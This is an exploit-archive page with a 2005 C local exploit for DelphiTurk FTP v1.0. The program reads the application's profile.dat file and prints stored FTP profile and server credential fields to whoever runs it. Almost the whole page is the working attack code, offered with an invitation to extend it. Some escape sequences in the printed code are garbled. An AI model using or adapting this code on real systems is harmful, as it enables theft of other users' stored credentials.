[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : DelphiTurk FTP v1.0 Passwords to Local Users Exploit
# Published : 2005-02-09
# Author : Kozan
# Previous Title : GNU a2ps "Anything to PostScript" Local Exploit (not suid)
# Next Title : Linux Mandrake <= 10.2 cdrdao Local Root Exploit (unfixed)


/*****************************************************************

DelphiTurk FTP v1.0 Local Exploit by Kozan

Application: DelphiTurk FTP v1.0
Procuder: Delphiturk.com and Delphikitabi.com
Vulnerable Description: DelphiTurk FTP v1.0 passwords to local users.


Coded by: Kozan
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com


*****************************************************************/

#include <stdio.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


char *bilgi_oku(int adres,int uzunluk)
{

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}

RegCloseKey(hKey);

}else{
printf("An error occured!n");
exit(1);
}

strcat(prgfiles,"\DelphiTurk\Delphi T&#65533;rk FTP\profile.dat");

int i;
FILE *fp;
char ch[100];
if((fp=fopen(prgfiles,"rb")) == NULL)
{
return "false";
}
fseek(fp,adres,0);
for(i=0;i<uzunluk;i++)
ch[i]=getc(fp);
ch[i]=NULL;
fclose(fp);
return ch;
}



int main()
{

printf("rnrnDelphiTurk FTP v1.0 Local Exploit by Kozann");
printf("www.netmagister.com - www.spyinstructors.comrnrn");
printf("This example exploit only shows the first record.rn");
printf("You may improve it freely...rnrn");
printf("ProfileName : %sn",bilgi_oku(1,31));
printf("Ftp Server : %sn",bilgi_oku(32,51));
printf("Ftp Server : %sn",bilgi_oku(83,51));
printf("Ftp Server : %sn",bilgi_oku(134,51));


return 0;


}

// www.Syue.com [2005-02-09]